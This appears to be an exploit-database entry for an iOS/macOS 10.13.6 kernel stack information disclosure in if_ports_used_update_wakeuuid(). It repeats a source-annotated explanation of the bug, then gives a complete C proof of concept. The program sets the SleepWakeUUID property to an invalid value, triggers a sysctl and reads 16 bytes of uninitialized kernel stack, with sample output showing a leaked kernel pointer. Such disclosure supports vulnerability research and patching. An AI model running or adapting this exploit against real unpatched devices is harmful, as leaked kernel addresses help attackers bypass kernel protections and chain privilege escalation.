iOS/macOS 10.13.6 – ‘if_ports_used_update_wakeuuid()’ 16-byte Uninitialized Kernel Stack Disclosure
/* macOS 10.13.4 introduced the file bsd/net/if_ports_used.c, which defines sysctls for inspecting ports, and added the function IOPMCopySleepWakeUUIDKey() to the file iokit/Kernel/IOPMrootDomain.cpp. Here's the code of the latter function: extern "C" bool IOPMCopySleepWakeUUIDKey(char *buffer, size_t buf_len) { if (!gSleepWakeUUIDIsSet) { return (false); } if (buffer != NULL) { OSString *string; string = (OSString *) gRootDomain->copyProperty(kIOPMSleepWakeUUIDKey); if (string == NULL) { *buffer = '\0'; } else { strlcpy(buffer, string->getCStringNoCopy(), buf_len); string->release(); } } return (true); } This function is interesting because it copies a caller-specified amount of data from the "SleepWakeUUID" property (which is user-controllable). Thus, if a user process sets "SleepWakeUUID" to a shorter string than the caller expects and then triggers IOPMCopySleepWakeUUIDKey(), out-of-bounds heap data will be copied into the caller's buffer. However, triggering this particular information leak is challenging, since the only caller is the function if_ports_used_update_wakeuuid(). Nonetheless, this function also contains an information leak: void if_ports_used_update_wakeuuid(struct ifnet *ifp) { uuid_t wakeuuid; // (a) wakeuuid is uninitialized. bool wakeuuid_is_set = false; bool updated = false; if (__improbable(use_test_wakeuuid)) { wakeuuid_is_set = get_test_wake_uuid(wakeuuid); } else { uuid_string_t wakeuuid_str; wakeuuid_is_set = IOPMCopySleepWakeUUIDKey(wakeuuid_str, // (b) wakeuuid_str is controllable. sizeof(wakeuuid_str)); if (wakeuuid_is_set) { uuid_parse(wakeuuid_str, wakeuuid); // (c) The return value of } // uuid_parse() is not checked. } if (!wakeuuid_is_set) { if (if_ports_used_verbose > 0) { os_log_info(OS_LOG_DEFAULT, "%s: SleepWakeUUID not set, " "don't update the port list for %s\n", __func__, ifp != NULL ? if_name(ifp) : ""); } wakeuuid_not_set_count += 1; if (ifp != NULL) { microtime(&wakeuuid_not_set_last_time); strlcpy(wakeuuid_not_set_last_if, if_name(ifp), sizeof(wakeuuid_not_set_last_if)); } return; } lck_mtx_lock(&net_port_entry_head_lock); if (uuid_compare(wakeuuid, current_wakeuuid) != 0) { // (e) These UUIDs will be different. net_port_entry_list_clear(); uuid_copy(current_wakeuuid, wakeuuid); // (f) Uninitialized stack garbage updated = true; // will be copied into a sysctl } // variable. /* * Record the time last checked microuptime(&wakeuiid_last_check); lck_mtx_unlock(&net_port_entry_head_lock); if (updated && if_ports_used_verbose > 0) { uuid_string_t uuid_str; uuid_unparse(current_wakeuuid, uuid_str); log(LOG_ERR, "%s: current wakeuuid %s\n", __func__, uuid_str); } } After the user-controllable "SleepWakeUUID" property is copied into the wakeuuid_str buffer using IOPMCopySleepWakeUUIDKey(), the UUID string is converted into a (binary) UUID using the function uuid_parse(). uuid_parse() is meant to parse the string-encoded UUID into the local wakeuuid buffer. However, the wakeuuid buffer is not initialized and the return value of uuid_parse() is not checked, meaning that if we set the "SleepWakeUUID" property's first character to anything other than a valid hexadecimal digit, we can get random stack garbage copied into the global current_wakeuuid buffer. This is problematic because current_wakeuuid is a sysctl variable, meaning its value can be read from userspace. Tested on macOS 10.13.6 17G2112: bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % clang wakeuuid-leak.c -framework IOKit -framework CoreFoundation -o wakeuuid-leak bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % ./wakeuuid-leak 1. Sleep the device. 2. Wake the device. 3. Press any key to continue. current_wakeuuid: 0xd0ddc6477f1e00b7 0xffffff801e468a28 */ /* * wakeuuid-leak.c * Brandon Azad (bazad@google.com) */ #if 0 iOS/macOS: 16-byte uninitialized kernel stack disclosure in if_ports_used_update_wakeuuid(). macOS 10.13.4 introduced the file bsd/net/if_ports_used.c, which defines sysctls for inspecting ports, and added the function IOPMCopySleepWakeUUIDKey() to the file iokit/Kernel/IOPMrootDomain.cpp. Here's the code of the latter function: extern "C" bool IOPMCopySleepWakeUUIDKey(char *buffer, size_t buf_len) { if (!gSleepWakeUUIDIsSet) { return (false); } if (buffer != NULL) { OSString *string; string = (OSString *) gRootDomain->copyProperty(kIOPMSleepWakeUUIDKey); if (string == NULL) { *buffer = '\0'; } else { strlcpy(buffer, string->getCStringNoCopy(), buf_len); string->release(); } } return (true); } This function is interesting because it copies a caller-specified amount of data from the "SleepWakeUUID" property (which is user-controllable). Thus, if a user process sets "SleepWakeUUID" to a shorter string than the caller expects and then triggers IOPMCopySleepWakeUUIDKey(), out-of-bounds heap data will be copied into the caller's buffer. However, triggering this particular information leak is challenging, since the only caller is the function if_ports_used_update_wakeuuid(). Nonetheless, this function also contains an information leak: void if_ports_used_update_wakeuuid(struct ifnet *ifp) { uuid_t wakeuuid; // (a) wakeuuid is uninitialized. bool wakeuuid_is_set = false; bool updated = false; if (__improbable(use_test_wakeuuid)) { wakeuuid_is_set = get_test_wake_uuid(wakeuuid); } else { uuid_string_t wakeuuid_str; wakeuuid_is_set = IOPMCopySleepWakeUUIDKey(wakeuuid_str, // (b) wakeuuid_str is controllable. sizeof(wakeuuid_str)); if (wakeuuid_is_set) { uuid_parse(wakeuuid_str, wakeuuid); // (c) The return value of } // uuid_parse() is not checked. } if (!wakeuuid_is_set) { if (if_ports_used_verbose > 0) { os_log_info(OS_LOG_DEFAULT, "%s: SleepWakeUUID not set, " "don't update the port list for %s\n", __func__, ifp != NULL ? if_name(ifp) : ""); } wakeuuid_not_set_count += 1; if (ifp != NULL) { microtime(&wakeuuid_not_set_last_time); strlcpy(wakeuuid_not_set_last_if, if_name(ifp), sizeof(wakeuuid_not_set_last_if)); } return; } lck_mtx_lock(&net_port_entry_head_lock); if (uuid_compare(wakeuuid, current_wakeuuid) != 0) { // (e) These UUIDs will be different. net_port_entry_list_clear(); uuid_copy(current_wakeuuid, wakeuuid); // (f) Uninitialized stack garbage updated = true; // will be copied into a sysctl } // variable. /* * Record the time last checked */ microuptime(&wakeuiid_last_check); lck_mtx_unlock(&net_port_entry_head_lock); if (updated && if_ports_used_verbose > 0) { uuid_string_t uuid_str; uuid_unparse(current_wakeuuid, uuid_str); log(LOG_ERR, "%s: current wakeuuid %s\n", __func__, uuid_str); } } After the user-controllable "SleepWakeUUID" property is copied into the wakeuuid_str buffer using IOPMCopySleepWakeUUIDKey(), the UUID string is converted into a (binary) UUID using the function uuid_parse(). uuid_parse() is meant to parse the string-encoded UUID into the local wakeuuid buffer. However, the wakeuuid buffer is not initialized and the return value of uuid_parse() is not checked, meaning that if we set the "SleepWakeUUID" property's first character to anything other than a valid hexadecimal digit, we can get random stack garbage copied into the global current_wakeuuid buffer. This is problematic because current_wakeuuid is a sysctl variable, meaning its value can be read from userspace. Tested on macOS 10.13.6 17G2112: bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % clang wakeuuid-leak.c -framework IOKit -framework CoreFoundation -o wakeuuid-leak bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % ./wakeuuid-leak 1. Sleep the device. 2. Wake the device. 3. Press any key to continue. current_wakeuuid: 0xd0ddc6477f1e00b7 0xffffff801e468a28 #endif #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <IOKit/IOKitLib.h> #include <sys/sysctl.h> int main(int argc, const char *argv[]) { CFStringRef kIOPMSleepWakeUUIDKey = CFSTR("SleepWakeUUID"); // First get IOPMrootDomain::setProperties() called with "SleepWakeUUID" set to an invalid // value. io_service_t IOPMrootDomain = IOServiceGetMatchingService( kIOMasterPortDefault, IOServiceMatching("IOPMrootDomain")); if (IOPMrootDomain == IO_OBJECT_NULL) { printf("Error: Could not look up IOPMrootDomain\n"); return 1; } kern_return_t kr = IORegistryEntrySetCFProperty( IOPMrootDomain, kIOPMSleepWakeUUIDKey, CFSTR("")); if (kr != KERN_SUCCESS) { printf("Error: Could not set SleepWakeUUID\n"); return 2; } // Next get IOPMrootDomain::handlePublishSleepWakeUUID() called, probably via // IOPMrootDomain::handleOurPowerChangeStart(). For now, just ask the tester to sleep and // wake the device. printf("1. Sleep the device.\n2. Wake the device.\n3. Press any key to continue.\n"); getchar(); // Check that we successfully set an invalid UUID. CFTypeRef value = IORegistryEntryCreateCFProperty( IOPMrootDomain, kIOPMSleepWakeUUIDKey, kCFAllocatorDefault, 0); if (!CFEqual(value, CFSTR(""))) { printf("Error: SleepWakeUUID not set successfully\n"); return 3; } // Now we need to trigger the leak in if_ports_used_update_wakeuuid(). We can use the // sysctl net.link.generic.system.get_ports_used.<ifindex>.<protocol>.<flags>. size_t get_ports_used_mib_size = 5; int get_ports_used_mib[get_ports_used_mib_size + 3]; int err = sysctlnametomib("net.link.generic.system.get_ports_used", get_ports_used_mib, &get_ports_used_mib_size); if (err != 0) { return 4; } get_ports_used_mib[get_ports_used_mib_size++] = 1; // ifindex get_ports_used_mib[get_ports_used_mib_size++] = 0; // protocol get_ports_used_mib[get_ports_used_mib_size++] = 0; // flags uint8_t ports_used[65536 / 8]; size_t ports_used_size = sizeof(ports_used); err = sysctl(get_ports_used_mib, get_ports_used_mib_size, ports_used, &ports_used_size, NULL, 0); if (err != 0) { printf("Error: sysctl %s: errno %d\n", "net.link.generic.system.get_ports_used", errno); return 5; } // Finally retrieve the leak with sysctl // net.link.generic.system.port_used.current_wakeuuid. uint8_t current_wakeuuid[16]; size_t current_wakeuuid_size = sizeof(current_wakeuuid); err = sysctlbyname("net.link.generic.system.port_used.current_wakeuuid", current_wakeuuid, ¤t_wakeuuid_size, NULL, 0); if (err != 0) { printf("Error: sysctl %s: errno %d\n", "net.link.generic.system.port_used.current_wakeuuid", errno); return 6; } uint64_t *leak = (uint64_t *)current_wakeuuid; printf("current_wakeuuid: 0x%016llx 0x%016llx\n", leak[0], leak[1]); return 0; } |